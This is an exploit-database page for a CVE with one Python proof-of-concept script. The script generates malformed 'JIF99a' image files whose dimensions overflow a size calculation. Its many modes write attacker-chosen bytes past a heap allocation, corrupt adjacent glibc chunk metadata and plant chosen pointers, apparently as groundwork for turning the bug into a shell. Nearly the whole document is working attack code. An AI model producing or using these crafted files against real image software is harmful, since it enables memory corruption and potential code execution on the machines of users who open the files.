Exploit databaseDownload repository ZIP
GH-77b084c651f84d76fe59d880f4600f96
genaforvena/mishe-tauftauf2shell
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
genaforvena/mishe-tauftauf2shellRevision 9edba631cfcf
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/frontier/gimpjif2shell/realglib/make-jif.py
Python · 6,849 bytes#!/usr/bin/env python3
"""Write a JIF99a file whose 16-bit frame dimensions are reachable on disk.
len=33025, height=65026 -> len*height = 0x80000002; with the graphics
control extension's transparent index, alpha doubling wraps data_size to 4
while the pinned zs.avail_out stays 0x80000002 (2147483650). The zlib stream
inflates to 40 chosen bytes, enough to pass the 4-byte `indexes` allocation
and reach an adjacent live object. The `published` mode uses the advisory's
product 45771*46918 = 0x80000082, whose alpha-doubled data_size is 260.
Usage: make-jif.py OUT (bytes HEXBYTE | ptr | published HEXBYTE |
published-long HEXBYTE | published-run N HEXBYTE |
published-hex HEXSTRING | published-mix IN OUT |
published-ptr | safe HEXBYTE |
minimal-size | minimal-ptr HEXADDR |
minimal-noob HEXBYTE | large HEXBYTE |
large-run N HEXBYTE | large-hex HEXSTRING |
large-size HEXADDR | minimal-flood N HEXBYTE)
`minimal-size` and `minimal-ptr` keep the 40-byte minimal-geometry zlib
payload but preserve the adjacent glibc chunk size word at indexes+24
(0x41), changing only that chunk's first user word at +32. They isolate
chunk-metadata corruption from chosen-pointer use; they claim no deref.
`minimal-noob` writes only `data_size` bytes: same wrapped geometry, no OOB
`large` reproduces the second upstream PoC geometry (65535x32769,
product `0x80007fff`, alpha `data_size=65534`) and writes ~32 KiB past
the 64 KiB `indexes` chunk; `large-run` and `large-hex` vary that span.
`large-size` preserves the adjacent free chunk size word at `indexes+65544`.
`minimal-flood` keeps the minimal geometry but inflates to N chosen bytes,
writing N-4 bytes past the 4-byte `indexes`; N must compress into 1020 bytes.
"""
import struct
import sys
import zlib
LEN, HEIGHT = 33025, 65026
out, kind = sys.argv[1], sys.argv[2]
if kind == "safe":
LEN, HEIGHT = 4, 4
plain = bytes([int(sys.argv[3], 16)]) * 16
elif kind == "bytes":
plain = bytes([int(sys.argv[3], 16)]) * 40
elif kind == "published-ptr":
LEN, HEIGHT = 45771, 46918
chosen = struct.pack("<Q", 0x00007F0000414243)
plain = b"\x4d" * 280 + chosen + b"\x4d" * (448 - 288)
elif kind in ("published", "published-long", "published-mix", "published-run",
"published-hex"):
LEN, HEIGHT = 45771, 46918
nbytes = 448
if kind == "published-hex":
plain = bytes.fromhex(sys.argv[3])
elif kind == "published-mix":
inside, outside = sys.argv[3], sys.argv[4]
plain = bytes([int(inside, 16)]) * 260 + bytes([int(outside, 16)]) * (nbytes - 260)
else:
if kind == "published-run":
nbytes = int(sys.argv[3])
assert 260 < nbytes <= 0x80000082
byte = int(sys.argv[4], 16)
elif kind == "published-long":
nbytes = 448
byte = int(sys.argv[3], 16)
else:
nbytes = 324
byte = int(sys.argv[3], 16)
plain = bytes([byte]) * nbytes
elif kind == "ptr":
chosen = struct.pack("<Q", 0x00007F0000414243)
plain = b"\x4d" * 32 + chosen + b"\x4d" * 8
elif kind in ("minimal-size", "minimal-ptr"):
word = 0x4d4d4d4d4d4d4d4d if kind == "minimal-size" else int(sys.argv[3], 16)
plain = b"\x4d" * 24 + struct.pack("<Q", 0x41) + struct.pack("<Q", word)
elif kind == "minimal-noob":
plain = bytes([int(sys.argv[3], 16)]) * 4
elif kind == "minimal-flood":
# W343: highly compressible payload; the wrapped data_size stays 4
# while the inflated span reaches far past the 4-byte indexes object.
plain = bytes([int(sys.argv[4], 16)]) * int(sys.argv[3])
assert len(zlib.compress(plain, 9)) <= 4 * 255
elif kind == "minimal-patch":
# W344: chosen bytes at one exact inflated-output offset, filler elsewhere.
# Usage: minimal-patch N OFFSET HEXBYTES FILLBYTE
nbytes, off = int(sys.argv[3]), int(sys.argv[4])
chosen = bytes.fromhex(sys.argv[5])
fill = int(sys.argv[6], 16)
plain = bytearray([fill]) * nbytes
plain[off:off + len(chosen)] = chosen
plain = bytes(plain)
assert len(zlib.compress(plain, 9)) <= 4 * 255
elif kind == "minimal-spec":
# W344: arbitrary chosen bytes at several exact inflated-output offsets.
# Usage: minimal-spec N FILLHEX OFFSET:HEX[,OFFSET:HEX,...]
nbytes = int(sys.argv[3])
plain = bytearray([int(sys.argv[4], 16)]) * nbytes
for item in sys.argv[5].split(","):
off_s, hex_s = item.split(":")
off = int(off_s)
val = bytes.fromhex(hex_s)
plain[off:off + len(val)] = val
plain = bytes(plain)
assert len(zlib.compress(plain, 9)) <= 4 * 255
elif kind == "large-size":
LEN, HEIGHT = 65535, 32769
plain = bytearray(b"\x4d" * (65534 + 32773))
plain[65544:65552] = struct.pack("<Q", int(sys.argv[3], 16))
plain = bytes(plain)
elif kind in ("large", "large-run", "large-hex"):
LEN, HEIGHT = 65535, 32769
if kind == "large-hex":
plain = bytes.fromhex(sys.argv[3])
else:
if kind == "large-run":
nbytes = int(sys.argv[3])
byte = int(sys.argv[4], 16)
else:
nbytes = 65534 + 32773
byte = int(sys.argv[3], 16)
assert 65534 <= nbytes <= 0x8001ffff
plain = bytes([byte]) * nbytes
else:
raise SystemExit("unknown mode")
if kind in ("bytes", "ptr", "minimal-size", "minimal-ptr", "minimal-noob",
"minimal-flood", "minimal-patch", "minimal-spec"):
assert LEN * HEIGHT == 0x80000002
assert (LEN * HEIGHT * 2) & 0xFFFFFFFF == 4
elif kind in ("published", "published-long", "published-mix",
"published-run", "published-ptr", "published-hex"):
assert LEN * HEIGHT == 0x80000082
assert (LEN * HEIGHT * 2) & 0xFFFFFFFF == 260
elif kind in ("large", "large-run", "large-hex", "large-size"):
assert LEN * HEIGHT == 0x80007fff
assert (LEN * HEIGHT * 2) & 0xFFFFFFFF == 65534
gce = b"" if kind == "safe" else b"\x21\xf9\x04\x01\x00\x00\x00\x00"
z = zlib.compress(plain, 9)
chunks = b"".join(bytes([len(z[i:i + 255])]) + z[i:i + 255]
for i in range(0, len(z), 255)) + b"\x00"
jif = (b"JIF99a"
+ struct.pack("<HHBBB", LEN, HEIGHT, 0x00, 0x00, 0x00)
+ gce # GCE: transparent index 0
+ b"\x2c" + struct.pack("<HHHHB", 0, 0, LEN, HEIGHT, 0x00)
+ b"\x08" # code size -> bpp=8
+ chunks + b"\x3b")
with open(out, "wb") as fd:
fd.write(jif)
print(f"WROTE {out} len={LEN} height={HEIGHT} product=0x{LEN * HEIGHT:08x} "
f"data_size={(LEN * HEIGHT * 2) & 0xFFFFFFFF} "
f"avail_out={LEN * HEIGHT} plain={len(plain)} zlen={len(z)} "
f"file={len(jif)}")